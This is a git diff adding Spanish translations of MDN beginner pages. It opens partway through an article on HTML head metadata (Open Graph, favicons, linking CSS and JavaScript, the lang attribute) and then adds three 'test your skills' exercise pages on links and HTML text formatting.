+<p><strong>Nota</strong>: Muchas características <code>&lt;meta&gt;</code> ya no se usan. Por ejemplo, los motores de búsqueda ignoran el elemento <code>&lt;meta&gt;</code> (<code>&lt;meta name="keywords" content="pon, tus, palabras clave, aquí"&gt;</code>), que se supone que facilita palabras clave para motores de búsqueda de forma que se determine la relevancia de esa página según diferentes términos de búsqueda, porque los <strong>spammers</strong> rellenaban la lista de palabras clave con cientos de palabras clave que sesgaban los resultados.</p>
+</div>
+
+<h3 id="Otros_tipos_de_metadatos">Otros tipos de metadatos</h3>
+
+<p>Al navegar por la web también puedes encontrar otros tipos de metadatos. Muchas de las funciones que verás en los sitios web son creaciones propietarias diseñadas para proporcionar a ciertos sitios (como los sitios de redes sociales) información específica que puedan usar.</p>
+
+<p>Por ejemplo, <a href="http://ogp.me/">Open Graph Data</a> es un protocolo de metadatos que Facebook inventó para proveer metadatos más ricos para los sitios web. En las fuentes de código de MDN, encontrarás esto:</p>
+
+<pre class="brush: html notranslate">&lt;meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png"&gt;
+&lt;meta property="og:description" content="The Mozilla Developer Network (MDN) proporciona información
+sobre tecnologías Open Web, incluidas HTML, CSS y APIs para ambos sitios web
+y aplicaciones HTML5. También documenta productos Mozilla, como el sistema operativo Firefox."&gt;
+&lt;meta property="og:title" content="Mozilla Developer Network"&gt;</pre>
+
+<p>Un efecto de esto es que cuando desde Facebook enlazas a un MDN, el enlace aparece con una imagen y una descripción, lo que resulta en una experiencia más enriquecedora para los usuarios.</p>
+
+<p><img alt="Datos abiertos del protocolo de gráficos de la página de inicio de MDN como se muestra en Facebook, mostrando una imagen, título y descripción." src="https://mdn.mozillademos.org/files/12349/facebook-output.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Twitter también tiene sus metadatos propios, las <a href="https://developer.twitter.com/en/docs/tweets/optimize-with-cards/overview/abouts-cards">Twitter Cards</a>, que tienen un efecto similar cuando la URL del sitio se muestra en twitter.com. Por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;meta name="twitter:title" content="Mozilla Developer Network"&gt;</pre>
+
+<h2 id="Agregar_iconos_personalizados_a_tu_sitio">Agregar iconos personalizados a tu sitio</h2>
+
+<p>Para enriquecer un poco más el diseño de tu sitio puedes añadir en tus metadatos referencias a iconos personalizados, que se mostrarán en determinados contextos. El más común de ellos es el <strong>favicon</strong> (abreviatura de <strong><em>favorite icon</em></strong> —<strong>icono </strong>«<strong>favorito</strong>», referido al uso que se le da en las listas de «favoritos» o de marcadores («<strong>bookmarks</strong>»).</p>
+
+<p>El humilde <code>favicon</code> ha existido durante muchos años. Es el primer icono de este tipo: un icono cuadrado de 16 píxeles que se utiliza en varios lugares. Es posible que veas (según el navegador) <code>favicon</code>s que se muestran en la pestaña del navegador que contiene cada página abierta y junto a las páginas marcadas en el panel de marcadores.</p>
+
+<p>Para añadir un <code>favicon</code> a tu página:</p>
+
+<ol>
+ <li>Guárdalo en el mismo directorio que la página <strong>index</strong> de tu sitio, en formato <code>.ico</code> (la mayoría de los buscadores admiten <code>favicon</code> en los formatos más comunes como <code>.gif</code> o <code>.png</code>, pero usar el formato <em>ICO</em> garantiza que funcionará hasta en Internet Explorer 6.)</li>
+ <li>Añade la siguiente línea de referencia en el {{HTMLElement("head")}} de tu HTML:
+  <pre class="brush: html notranslate">&lt;link rel="shortcut icon" href="favicon.ico" type="image/x-icon"&gt;</pre>
+ </li>
+</ol>
+
+<p>Los navegadores modernos usan <code>favicon</code>s en diversos lugares, como en la etiqueta de la página que está abierta y en el panel de favoritos cuando la añades a tu lista de páginas favoritas:</p>
+
+<p><img alt="El panel de marcadores de Firefox, que muestra un ejemplo marcado con un favicon junto a él." src="https://mdn.mozillademos.org/files/12351/bookmark-favicon.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Hoy día hay un montón de otros tipos de iconos a tener presentes. Por ejemplo, los encontrarás en el código fuente de la página de inicio de MDN:</p>
+
+<pre class="brush: html notranslate">&lt;!-- iPad de tercera generación con pantalla de alta resolución: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.cdn.mozilla.net/static/img/favicon144.a6e4162070f4.png"&gt;
+&lt;!-- iPhone con pantalla de alta resolución: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.cdn.mozilla.net/static/img/favicon114.0e9fabd44f85.png"&gt;
+&lt;!-- iPad de primera y segunda generación: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.cdn.mozilla.net/static/img/favicon72.8ff9d87c82a0.png"&gt;
+&lt;!-- Dispositivos iPhone sin pantalla Retina, iPod Touch y Android 2.1+: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" href="https://developer.cdn.mozilla.net/static/img/favicon57.a2490b9a2d76.png"&gt;
+&lt;!-- favicon básico --&gt;
+&lt;link rel="shortcut icon" href="https://developer.cdn.mozilla.net/static/img/favicon32.e02854fdcf73.png"&gt;</pre>
+
+<p>Los comentarios explican para qué se usa cada icono (estos elementos abarcan situaciones como aportar un buen icono de alta resolución para usarlo cuando la página web se guarda en la página de inicio de un iPad).</p>
+
+<p>No te preocupes demasiado sobre la implementación de todos estos tipos de iconos por el momento; se trata de una característica bastante avanzada y no se espera que tengas conocimientos de ello para avanzar en el curso. El propósito principal aquí es darte a conocer estos elementos por si te los encuentras mientras examinas el código fuente de otros sitios web.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si tu sitio web utiliza una política de seguridad de contenido (<em>content security policy o CSP</em>) para mejorar la seguridad, la política afecta al <code>favicon</code>. Si te encuentras con problemas como que el <code>favicon</code> no se carga, comprueba que la respuesta a {{HTTPHeader("Content-Security-Policy")}} del <code>header</code> <a href="">Content-Security-Policy</a> para la <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src"> directriz <code>img-src</code></a> en la cabecera no impide el acceso a este.</p>
+</div>
+
+<h2 id="Aplicar_CSS_y_JavaScript_a_HTML">Aplicar CSS y JavaScript a HTML</h2>
+
+<p>Prácticamente todos los sitios web usan {{Glossary("CSS")}} para darles un buen aspecto y {{Glossary("JavaScript")}} para añadir funcionalidades interactivas, como reproductores de vídeo, mapas, juegos y demás. La manera más habitual de añadir CSS y JavaScript a una página web es con los elementos <code>&lt;link&gt;</code> y el elemento <code>&lt;script&gt;</code>, respectivamente.</p>
+
+<ul>
+ <li>
+  <p>El elemento {{HTMLElement("link")}} siempre debe ir dentro del {{HTMLElement("header")}} de tu documento. Este toma dos atributos, <code>rel="stylesheet"</code>, que indica que es la hoja de estilo del documento, y <code>href</code>, que contiene la ruta al archivo de la hoja de estilo:</p>
+
+  <pre class="brush: html notranslate">&lt;link rel="stylesheet" href="my-css-file.css"&gt;</pre>
+ </li>
+ <li>
+  <p>El elemento <code>&lt;script&gt;</code> también debería ir en el <code>head</code>, y debería incluir un atributo <code>src</code> con la ruta al JavaScript que quieres cargar, y <code>defer</code>, que básicamente le dice al navegador que cargue el JavaScript al mismo tiempo que el HTML de la página. Esto es útil porque hace que todo el HTML se cargue antes de ejecutar el JavaScript, para que no haya errores porque el JavaScript ha intentado acceder a un elemento HTML que todavía no existe. De hecho hay múltiples formas de gestionar la carga del JavaScript en una página, pero esta es «a prueba de bombas» para los navegadores modernos (para el resto de las formas, lee el artículo {{web.link("/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#Script_loading_strategies", "Estrategias de carga de scripts")}}).</p>
+
+  <pre class="brush: html notranslate">&lt;script src="my-js-file.js"&gt;&lt;/script&gt;</pre>
+
+  <div class="blockIndicator note">
+  <p><strong>Nota</strong>: El elemento <code>&lt;script&gt;</code> puede parecer un elemento vacío pero no lo es, y por lo tanto necesita una etiqueta de cierre. En vez de apuntar a un archivo de <code>script</code> externo, también puedes colocar tu código dentro del elemento <code>&lt;script&gt;</code>.</p>
+  </div>
+ </li>
+</ul>
+
+<h3 id="Aprendizaje_activo_aplicar_CSS_y_JavaScript_a_una_página">Aprendizaje activo: aplicar CSS y JavaScript a una página</h3>
+
+<ol>
+ <li>Para iniciar este aprendizaje activo, haz una copia de nuestros archivos <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/script.js">script.js</a> y <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/style.css">style.css</a>, y guárdalos en un mismo directorio de tu ordenador. Asegúrate de que se guardan con los nombres y extensiones correctas.</li>
+ <li>Abre el archivo HTML tanto en tu navegador como en tu editor de texto.</li>
+ <li>Sigue la información facilitada anteriormente y añade los elementos <code>&lt;link&gt;</code> y <code>&lt;script&gt;</code> a tu HTML para aplicarle CSS y JavaScript.</li>
+</ol>
+
+<p>Si lo has hecho correctamente, al guardar tu HTML y actualizar tu navegador, deberías poder ver que las cosas han cambiado:</p>
+
+<p><img alt="Ejemplo que muestra una página con CSS y JavaScript aplicados. El CSS ha hecho que la página se vuelva verde, mientras que JavaScript ha agregado una lista dinámica a la página" src="https://mdn.mozillademos.org/files/12359/js-and-css.png" style="display: block; margin: 0 auto;"></p>
+
+<ul>
+ <li>El JavaScript ha añadido una lista vacía a la página. Ahora, cuando haces clic en cualquier sitio de la lista, aparece un cuadro de diálogo que te solicita que introduzcas el texto para un nuevo elemento de la lista. Cuando pulsas el botón OK, se añade a la lista el elemento con el texto nuevo. Cuando haces clic a un elemento de la lista aparece un cuadro de diálogo que te permite cambiar el texto del elemento.</li>
+ <li>El CSS ha pintado el fondo de verde y ha agrandado el texto. También ha aplicado estilo a algún contenido que el JavaScript ha añadido a la página (la barra roja con el borde negro es el estilo que el CSS ha aplicado a la lista generada con JavaScript).</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Si te encallas en este ejercicio y no logras ejecutar los archivos CSS/JS, comprueba tu página de ejemplo <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/css-and-js.html">css-and-js.html</a>.</p>
+</div>
+
+<h2 id="Establecer_el_idioma_principal_del_documento">Establecer el idioma principal del documento</h2>
+
+<p>Por último, merece la pena mencionar que puedes (y realmente deberías) especificar el idioma de tu página. Esto se puede hacer añadiendo el atributo {{web.link("/es/docs/Web/HTML/Global_attributes/lang", "lang")}} a la etiqueta de apertura del HTML (como se ve en el <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/meta-example.html">meta-example.html</a> y se muestra abajo).</p>
+
+<pre class="brush: html notranslate">&lt;html lang="es-MX"&gt;</pre>
+
+<p>Esto resulta útil en muchos sentidos. Los motores de búsqueda indizarán tu documento HTML de modo más efectivo si estableces el idioma (permitiendo, por ejemplo, que aparezca correctamente en los resultados del idioma especificado), y resulta útil para que las personas con discapacidad visual que utilizan los lectores de pantalla (por ejemplo, la palabra «six» existe tanto en francés como en inglés, pero su pronunciación es diferente).</p>
+
+<p>También puedes establecer que las subsecciones de tu documento se reconozcan en diferentes idiomas. Por ejemplo, podemos establecer que nuestra sección de japonés se reconozca como japonés, de la siguiente manera:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Ejemplo Japonés: &lt;span lang="ja"&gt;ご飯が熱い。&lt;/span&gt;.&lt;/p&gt;</pre>
+
+<p>El estándar {{interwiki("wikipedia", "ISO_639-1")}} define estos códigos. Puedes encontrar más información sobre ello en <a href="https://www.w3.org/International/articles/language-tags/">Etiquetas de idioma en HTML y XML</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Esto marca el final de nuestra guía rápida del {{Glossary("head")}} de HTML — aún hay muchas más cosas que puedes hacer aquí, pero una guía exhaustiva puede ser aburrida y confusa a estas alturas, ¡y nosotros queremos darte una idea de las cuestiones más comunes con las que te encontrarás aquí por ahora! En el siguiente artículo veremos los fundamentos de texto de HTML.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started", "Empezar con HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "¿Qué hay en el «head»? Metadatos en HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Fundamentos de texto HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Creando hipervínculos")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Formateo de texto avanzado")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Estructura web y documentación")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Depurar HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Marcado para una carta")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Estructuración del contenido de una página")}}</li>
+</ul>
diff --git a/files/es/learn/html/introduccion_a_html/prueba_tus_habilidades_colon__enlaces/index.html b/files/es/learn/html/introduccion_a_html/prueba_tus_habilidades_colon__enlaces/index.html
new file mode 100644
index 0000000000..0e8dc1bfaf
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/prueba_tus_habilidades_colon__enlaces/index.html
@@ -0,0 +1,99 @@
+---
+title: 'Prueba tus habilidades: Enlaces'
+slug: 'Learn/HTML/Introduccion_a_HTML/Prueba_tus_habilidades:_Enlaces'
+translation_of: 'Learn/HTML/Introduction_to_HTML/Test_your_skills:_Links'
+---
+<div>{{learnsidebar}}</div>
+
+<p>El objetivo de esta pueba de habilidad es evaluar si has comprendido nuestro artículo <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creando hipervínculos</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes intentar resolver esta prueba en los editores interactivos más abajo, sin embargo, puede ser útil descargar el código y usar una herramienta en línea como <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, o <a href="https://glitch.com/">Glitch</a> para trabajar en las tareas.<br>
+ <br>
+ Si te atascas, pide ayuda — mira la sección {{anch("Evaluación o ayuda adicional")}} al final de esta página.</p>
+</div>
+
+<h2 id="Enlaces_1">Enlaces 1</h2>
+
+<p>En esta tarea necesitamos tu ayuda para completar los enlaces en nuestra página de información sobre Ballenas:</p>
+
+<ul>
+ <li>El primer enlace debería estar vinculado a una página llamada <code>whales.html</code>, que está en el mismo directorio que la página actual.</li>
+ <li>También queremos agregarle un cuadro de información ("tooltip") cuando pase el puntero sobre el enlace, que le diga al usuario que la página incluye informacion sobre las Ballenas azules y las Ballenas blancas.</li>
+ <li>El segundo enlace deberá convertirse en un vínculo que abra un correo electrónico en la aplicación de correo por defecto del usuario, con el destinatario "whales@example.com".</li>
+ <li>Conseguirás un punto de bonificación si tambien configuras que la línea del asunto del correo electrónico tenga como texto predeterminado "Preguntas sobre Ballenas".</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> El primer enlace en el ejemplo tiene el atributo <code>target="_blank"</code> , así que cuando haces click en él, abre la página en una pestaña nueva. Esto no es estrictamente una buena práctica, pero lo hemos hecho aquí para que la página no se abra en el <code>&lt;iframe&gt;</code> incrustado, ¡eliminando el código de ejemplo en el proceso!</p>
+</div>
+
+<p>Intenta actualizar el código en vivo más abajo para mostrar el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/introduction-to-html/tasks/links/links1.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/tasks/links/links1-download.html">Descarga el inicio de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Enlaces_2">Enlaces 2</h2>
+
+<p>En esta tarea queremos que completes los cuatro enlaces para que se dirijan al lugar apropiado:</p>
+
+<ul>
+ <li>El primer enlace debería vincular a una imagen llamada <code>blue-whale.jpg</code>, que se encuentra en una carpeta llamada <code>blue</code> dentro de la carpeta actual.</li>
+ <li>El segundo enlace debería vincular a una imagen llamada <code>narwhal.jpg</code>, que se encuentra en una carpeta llamada <code>narwhal</code>, que se encuentra en un nivel de carpetas sobre la carpeta actual.</li>
+ <li>El tercer enlace deberia vincular al sitio de búsqueda de imágenes de Google del Reino Unido. La URL base es <code>https://www.google.co.uk</code>, y la búsqueda de imágenes se ubica en un subdirectorio llamado <code>imghp</code>.</li>
+ <li>El cuarto enlace debería vincular al párrafo más al final de la página actual. Que tiene la ID <code>bottom</code>.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Los primeros tres enlaces en el ejemplo tienen el atributo <code>target="_blank"</code> especificado en ellos, abren la página enlazada en una nueva pestaña del navegador. Esto no es estrictamente una buena práctica, pero hemos hecho esto aquí para que las páginas no se abran dentro del <code>&lt;iframe&gt;</code> incrustado, ¡eliminando el código de ejemplo en el proceso!</p>
+</div>
+
+<p>Intenta actualizar el código en vivo más abajo para mostrar el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/introduction-to-html/tasks/links/links2.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/tasks/links/links2-download.html">Descarga el inicio de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Enlaces_3">Enlaces 3</h2>
+
+<p>Los siguientes enlaces dirigen a una página informativa acerca de los Narvales, una dirección de correo electrónico de soporte, y un documento PDF cuyo tamaño es 4MB. En esta tarea queremos que:</p>
+
+<ul>
+ <li>Tomes los párrafos existentes con enlaces pobremente escritos, y los reescribas para que tengan un buen texto de enlace.</li>
+ <li>Agregues una advertencia a cualquier enlace que necesite una advertencia.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Los primeros tres enlaces en el ejemplo tienen el atributo <code>target="_blank"</code> especificado en ellos, abren la página enlazada en una nueva pestaña del navegador. Esto no es estrictamente una buena práctica, pero hemos hecho esto aquí para que las páginas no se abran dentro del <code>&lt;iframe&gt;</code> incrustado, ¡eliminando el código de ejemplo en el proceso!</p>
+</div>
+
+<p>Intenta actualizar el código en vivo más abajo para mostrar el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/introduction-to-html/tasks/links/links3.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/tasks/links/links3-download.html">Descarga el inicio de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Evaluación_o_ayuda_adicional">Evaluación o ayuda adicional</h2>
+
+<p>Puedes practicar estos ejemplos en los editores interactivos que se encuentran más arriba.</p>
+
+<p>Si deseas que tu trabajo sea evaluado, o estás atorado y quieres solicitar ayuda:</p>
+
+<ol>
+ <li>Pon tu trabajo en un editor en línea con capacidad de compartir como <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>, o <a href="https://glitch.com/" rel="noopener">Glitch</a>. Puedes escribir el código por ti mismo, o usar los archivos de punto de inicio enlazados en las secciones superiores.</li>
+ <li>Escribe una publicación solicitando evaluacion y/o ayuda en el <a href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Tu publicación debería incluir:
+  <ul>
+   <li>Un título descriptivo como "Solicito evaluacion para la prueba de habilidad de texto básico HTML 1".</li>
+   <li>Detalles de lo que ya has intentado, y que te gustaría que hiciéramos, por ejemplo, si estas atascado y necesitas ayuda, o quieres una evaluación.</li>
+   <li>Un enlace al ejemplo que quieres que sea evaluado o por el que necesitas ayuda en un  editor en linea con capacidad de compartir (como se mencionó en el paso 1 más arriba). Esta es una buena práctica  - Es muy dificil ayudar a alguien con un problema de codificación si no puedes ver su código.</li>
+   <li>Un enlace a la tarea o página de evaluacion actual, para que podamos encontrar la pregunta con la cual necesitas ayuda.</li>
+  </ul>
+ </li>
+</ol>
diff --git a/files/es/learn/html/introduccion_a_html/prueba_tus_habilidades_colon__texto_básico_html/index.html b/files/es/learn/html/introduccion_a_html/prueba_tus_habilidades_colon__texto_básico_html/index.html
new file mode 100644
index 0000000000..f35a083987
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/prueba_tus_habilidades_colon__texto_básico_html/index.html
@@ -0,0 +1,72 @@
+---
+title: 'Prueba tus habilidades: Texto básico HTML'
+slug: 'Learn/HTML/Introduccion_a_HTML/Prueba_tus_habilidades:_Texto_básico_HTML'
+tags:
+  - Aprendizaje
+  - HTML
+  - Principiante
+  - Prueba tus habilidades
+  - Texto
+translation_of: 'Learn/HTML/Introduction_to_HTML/Test_your_skills:_HTML_text_basics'
+---
+<div>{{learnsidebar}}</div>
+
+<p>El objetivo de esta prueba de habilidad es evaluar si has comprendido el artículo <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/texto">Fundamentos de texto en HTML</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Puedes intentar resolverlo en los editores interactivos de más abajo, sin embargo puede ser muy úytil descargar el código y usar una herramienta en línea como <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, o <a href="https://glitch.com/">Glitch</a> para trabajar en las tareas.<br>
+ <br>
+ Si te atascas, entonces pídenos ayuda — busca en la sección {{anch("Assessment or further help")}} al final de esta página.</p>
+</div>
+
+<h2 id="Texto_básico_HTML_1">Texto básico HTML 1</h2>
+
+<p>En esta tarea queremos que etiquetes el HTML entregado utilizando elementos semánticos de encabezado y párrafo. Intenta actualizando el código más abajo para recrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/introduction-to-html/tasks/basic-text/basic-text1.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/tasks/basic-text/basic-text1-download.html">Descarga el punto de inicio de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Texto_básico_HTML_2">Texto básico HTML 2</h2>
+
+<p>En esta tarea necesitamos que cambies la primera lista no marcada en una lista no ordenada, y la segunda en una lista ordenada.</p>
+
+<p>Intenta actualizando el código más abajo para recrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/introduction-to-html/tasks/basic-text/basic-text2.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/tasks/basic-text/basic-text2-download.html">Descarga el punto de inicio de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Texto_básico_HTML_3">Texto básico HTML 3</h2>
+
+<p>En esta tarea se te entrega un párrafo, y tu objetivo es usar algunos elementos en línea para marcar algunas palabras con importancia, y otras con énfasis</p>
+
+<p>Intenta actualizando el código más abajo para recrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/introduction-to-html/tasks/basic-text/basic-text3.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/tasks/basic-text/basic-text3-download.html">Descarga el punto de inicio de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Evaluación_o_ayuda_adicional">Evaluación o ayuda adicional</h2>
+
+<p>Puedes practicar estos ejemplos en los editores interactivos que se encuentran más arriba.</p>
+
+<p>Si deseas que tu trabajo sea evaluado, o estás atorado y quieres solicitar ayuda:</p>
+
+<ol>
+ <li>Pon tu trabajo en un editor en línea con capacidad de compartir como <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, o <a href="https://glitch.com/">Glitch</a>. Puedes escribir el código por ti mismo, o usar los archivos de punto de inicio enlazados en las secciones superiores.</li>
+ <li>Escribe una publicación solicitando evaluacion y/o ayuda en el <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Tu publicación debería incluir:
+  <ul>
+   <li>Un título descriptivo como "Solicito evaluacion para la prueba de habilidad de texto básico HTML 1".</li>
+   <li>Detalles de lo que ya has intentado, y que te gustaría que hiciéramos, por ejemplo, si estas atascado y necesitas ayuda, o quieres una evaluación.</li>
+   <li>Un enlace al ejemplo que quieres que sea evaluado o por el que necesitas ayuda en un  editor en linea con capacidad de compartir (como se mencionó en el paso 1 más arriba). Esta es una buena práctica  - Es muy dificil ayudar a alguien con un problema de codificación si no puedes ver su código.</li>
+   <li>Un enlace a la tarea o página de evaluacion actual, para que podamos encontrar la pregunta con la cual necesitas ayuda.</li>
+  </ul>
+ </li>
+</ol>
diff --git a/files/es/learn/html/introduccion_a_html/test_your_skills_colon__advanced_html_text/index.html b/files/es/learn/html/introduccion_a_html/test_your_skills_colon__advanced_html_text/index.html
new file mode 100644
index 0000000000..f29638eb81
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/test_your_skills_colon__advanced_html_text/index.html
@@ -0,0 +1,67 @@
+---
+title: 'Pon a prueba tus habilidades: texto HTML avanzado'
+slug: 'Learn/HTML/Introduccion_a_HTML/Test_your_skills:_Advanced_HTML_text'
+translation_of: 'Learn/HTML/Introduction_to_HTML/Test_your_skills:_Advanced_HTML_text'
+---
+<div>{{learnsidebar}}</div>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">El objetivo de esta prueba de habilidad es evaluar si ha entendido nuestras </span></span>  <u><a href="/es/docs//en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">formato de texto avanzado</a></u> articulo.</p>
+
+<div class="blockIndicator note">
+<p><strong>NOTA</strong>:<span class="tlid-translation translation" lang="es"><span title="">Puede probar soluciones en los editores interactivos a continuación;</span> <span title="">sin embargo, puede resultar útil descargar el código y utilizar una herramienta en línea como</span></span>  <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, o <a href="https://glitch.com/">Glitch </a><span class="tlid-translation translation" lang="es"><span title="">trabajar en las tareas.</span></span><br>
+ <br>
+ <span class="tlid-translation translation" lang="es"><span title="">Si se atasca, pídanos ayuda; consulte la</span></span> {{anch("Assessment or further help")}} section at the bottom of this page.</p>
+</div>
+
+<h2 id="Texto_HTML_avanzado_1"><span class="tlid-translation translation" lang="es"><span title="">Texto HTML avanzado 1</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">En esta tarea, queremos que convierta los animales proporcionados y sus definiciones en una lista de descripción.</span><br>
+ <br>
+ <span title="">Intente actualizar el código en vivo a continuación para recrear el ejemplo terminado:</span></span></p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/introduction-to-html/tasks/advanced-text/advanced-text1.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="/es/docs/https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/tasks/advanced-text/advanced-text1-download.html">Descarga el puno de partida para esta tarea</a> to work in your own editor or in an online editor.</p>
+</div>
+
+<h2 id="Texto_HTML_avanzado_2"><span class="tlid-translation translation" lang="es"><span title="">Texto HTML avanzado 2</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">En esta tarea, queremos que agregue algo de semántica al HTML proporcionado de la siguiente manera:</span></span></p>
+
+<ul>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Convierta el segundo párrafo en una cita a nivel de bloque e indique semánticamente que la cita se toma de</span></span> <a href="/en-US/docs/Learn/Accessibility">Accesibilidad</a>.</li>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Marque semánticamente "HTML" y "CSS" como acrónimos, proporcionando expansiones como información sobre herramientas.</span></span></li>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Asocia semánticamente fechas legibles por máquina con las fechas en el texto.</span></span></li>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Utilice subíndice y superíndice para proporcionar la semántica correcta para las fórmulas químicas y fechas, y hacer que se muestren correctamente.</span></span></li>
+</ul>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Intente actualizar el código en vivo a continuación para recrear el ejemplo terminado:</span></span></p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/introduction-to-html/tasks/advanced-text/advanced-text2.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="/es/docs/https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/tasks/advanced-text/advanced-text2-download.html">Descarga el punto de partida para esta tarea </a><span class="tlid-translation translation" lang="es"><span title="">para trabajar en su propio editor o en un editor en línea.</span></span></p>
+</div>
+
+<h2 id="Evaluación_o_ayuda_adicional"><span class="tlid-translation translation" lang="es"><span title="">Evaluación o ayuda adicional</span></span></h2>
+
+<div class="text-wrap tlid-copy-target">
+<div class="result-shield-container tlid-copy-target"><span class="tlid-translation translation" lang="es"><span title="">Puede practicar estos ejemplos en los editores interactivos anteriores.</span><br>
+<br>
+<span title="">Si desea que se evalúe su trabajo, o está atascado y desea pedir ayuda:</span></span></div>
+
+<div class="result-shield-container tlid-copy-target"></div>
+</div>
+
